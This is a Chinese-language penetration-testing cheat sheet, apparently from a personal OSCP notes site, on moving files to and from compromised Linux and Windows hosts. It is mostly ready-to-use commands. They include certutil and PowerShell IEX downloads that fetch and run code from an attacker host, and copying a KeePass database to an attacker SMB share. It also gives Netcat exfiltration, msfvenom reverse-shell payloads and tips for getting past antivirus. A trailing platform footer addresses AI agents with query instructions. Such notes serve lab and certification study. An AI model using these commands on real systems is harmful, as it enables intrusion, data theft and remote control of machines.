> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/post-exploitation/file-transfer.md).

# 文件传输

文件传输通常是立足点建立后的首批实际问题之一：把工具传进去、把证据传出来，并且通过目标网络允许的任何协议来完成。准备好几种方法，因为 HTTP、SMB、FTP、PowerShell 和 Netcat 在不同环境中会有不同的限制。

{% hint style="info" %}
优先选择最简单且可用的传输方式；在完整性重要时验证哈希；任务完成后删除临时载荷、共享和监听器。
{% endhint %}

## 快速决策表

| 场景                      | 首选方案                            | 备用方案               |
| ----------------------- | ------------------------------- | ------------------ |
| Linux 目标可以访问攻击者的 HTTP   | Python HTTP 服务器 + `wget`/`curl` | SCP、Netcat、Base64  |
| Windows 目标可以访问攻击者的 HTTP | Python HTTP 服务器 + PowerShell    | `certutil`、SMB、FTP |
| Windows 目标可以访问 SMB      | Impacket `smbserver.py`         | HTTP、FTP           |
| 需要从 Windows 外传到 Linux   | 支持写入的 SMB 共享                    | Netcat、Base64      |
| 很小的文本文件                 | Base64 复制/粘贴                    | Netcat             |
| 出口受限                    | 尝试常见的允许端口，例如 `80`, `443`，或 `53` | 先做转发/隧道            |

## Linux 目标传输

### `Wget`

```bash
python3 -m http.server 8000
wget http://10.10.11.1:8000/file.pdf
```

### **`Curl：`**

```bash
python3 -m http.server 1234
curl -O http://10.10.11.25:1234/file.pdf
```

### `Netcat`

先监听接收：

```bash
nc -lvp 4444 > file.pdf
```

发送端：

```bash
cat file.pdf | nc 10.10.11.25 4444
```

### `Scp：`

在源服务器上：

```bash
scp /path/to/file user@10.10.11.25:/path/to/destination
```

在目标服务器上：

```bash
scp user@10.10.11.1:/path/to/file /path/to/destination
```

## Linux 到 Windows 传输

### SMB 服务器

当端口 `445` 可访问时，SMB 往往是 Kali 到 Windows 最可靠的传输路径。

在 Kali 上：

```bash
smbserver.py share_name . -smb2support
```

如果 Windows 需要身份验证：

```bash
smbserver.py share_name . -smb2support -username user -password password
```

在 Windows 上：

```powershell
copy \\10.10.14.10\share_name\file.exe C:\Temp\file.exe
```

### HTTP 服务器

在 Kali 上：

```bash
python3 -m http.server 8000
```

在 Windows 上使用 PowerShell：

```powershell
Invoke-WebRequest -Uri "http://10.10.14.10:8000/file.exe" -OutFile "C:\Temp\file.exe"
```

PowerShell 替代客户端：

```powershell
(New-Object System.Net.WebClient).DownloadFile("http://10.10.14.10:8000/file.exe", "C:\Temp\file.exe")
```

使用 `certutil`:

```powershell
certutil -urlcache -split -f "http://10.10.14.10:8000/file.exe" C:\Temp\file.exe
```

### FTP 服务器

当 HTTP/SMB 受限但允许外连 FTP 时，FTP 很有用。

在 Kali 上：

```bash
sudo apt update
sudo apt install python3-pyftpdlib
python3 -m pyftpdlib -p 21 --write
```

在 Windows 上，创建一个小型 FTP 命令文件：

```powershell
echo open 10.10.14.10 21> ftp_commands.txt
echo anonymous>> ftp_commands.txt
echo password>> ftp_commands.txt
echo binary>> ftp_commands.txt
echo get file.exe>> ftp_commands.txt
echo bye>> ftp_commands.txt
ftp -s:ftp_commands.txt
```

## Windows 目标传输

### `Certutil`

```powershell
python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.10.10/shell.exe
```

### `Invoke-WebRequest`

```powershell
python3 -m http.server 80
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "file.exe"
```

### `IEX（Invoke-Expression）`

```powershell
python3 -m http.server 80
IEX(New-object Net.WebClient).downloadString('http://10.10.10.10/file')
```

### `上传文件`

你必须确保文件位于适当的目录中，才能被服务器访问。使用以下命令执行上传

```bash
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

### `SMB 文件共享`

```bash
smbserver.py share $(pwd) -smb2support
```

然后通过以下地址访问你的 SMB 共享：

```powershell
copy \\10.10.10.10\share\file C:\Temp\file
```

## Windows 到 Linux 文件传输

### SMB 上传

启动一个带身份验证和 SMB2 支持的 SMB 共享：

```bash
smbserver.py -smb2support -username user -password password share_name /tmp/share
```

从 Windows 目标将文件复制到攻击者的 SMB 共享：

```powershell
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.9\share_name\
```

<figure><img src="/files/72d34033ab1ef24eb3992fba7e1163d35ab227a5" alt=""><figcaption></figcaption></figure>

### Netcat 外传

在 Linux 上监听并将传入字节写入文件：

```bash
nc -nlvp 4444 > received_file.txt
```

在 Windows 上：

```powershell
type C:\path\to\file.txt | nc.exe 10.10.14.10 4444
```

### 小文件的 Base64

在 Windows 上：

```powershell
certutil -encode C:\path\to\file.txt encoded.b64
type encoded.b64
```

在 Linux 上，粘贴编码后的内容并解码：

```bash
echo "PASTE_BASE64_HERE" | base64 -d > file.txt
```

## 载荷分阶段说明

载荷生成属于漏洞利用工具的一部分，但将常见的分阶段格式与文件传输笔记放在一起会很有用。

Windows 示例：

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o reverse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f psh -o reverse.ps1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o reverse.dll
```

Linux 示例：

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f elf -o reverse
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.10 LPORT=443 -f raw -o reverse.py
```

监听器：

```bash
nc -nvlp 443
```

## OSCP 工作流提示

1. 在开始前准备好 HTTP、SMB、Netcat、FTP 和 Base64 方法。
2. 在上传之前先测试监听器和载荷路径。
3. 使用目标网络很可能允许的端口，例如 `80`, `443`，或 `53`.
4. 准备一个小型载荷/工具目录，以避免反复重新生成相同文件。
5. 注意杀毒软件可能会阻止载荷或传输方式；在需要时切换协议或格式。
6. 验证完成后，清理临时工具、载荷、FTP 脚本、SMB 共享和分阶段文件。

## 故障排查

| 问题               | 检查项                                                      |
| ---------------- | -------------------------------------------------------- |
| SMB 连接被拒绝        | 运行 `smbserver.py` 并具有足够权限，确认端口 `445`，并尝试 `-smb2support`. |
| Windows 无法访问 SMB | 尝试身份验证标志，检查防火墙规则，或切换到 HTTP。                              |
| HTTP 下载失败        | 确认目标可以访问攻击者 IP，并且文件位于服务目录中。                              |
| PowerShell 被阻止   | 尝试 `certutil`、SMB、FTP，或策略允许的原生系统下载路径。                    |
| 杀毒软件移除载荷         | 先传一个无害的测试文件，再调整载荷格式、分阶段方式或交付方法。                          |
| 传输后权限被拒绝         | 使用 `chmod +x` 在 Linux 上，或使用 `icacls`.                    |
| 上传到 SMB 失败       | 使用可写路径和凭据启动共享，然后用一个小文本文件重新测试。                            |

## 清理

```bash
rm -f reverse reverse.exe reverse.ps1 reverse.dll
rm -f ftp_commands.txt encoded.b64 received_file.txt
```

在 Windows 上：

```powershell
del C:\Temp\file.exe
del C:\Temp\reverse.exe
del ftp_commands.txt
certutil -urlcache * delete
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/post-exploitation/file-transfer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
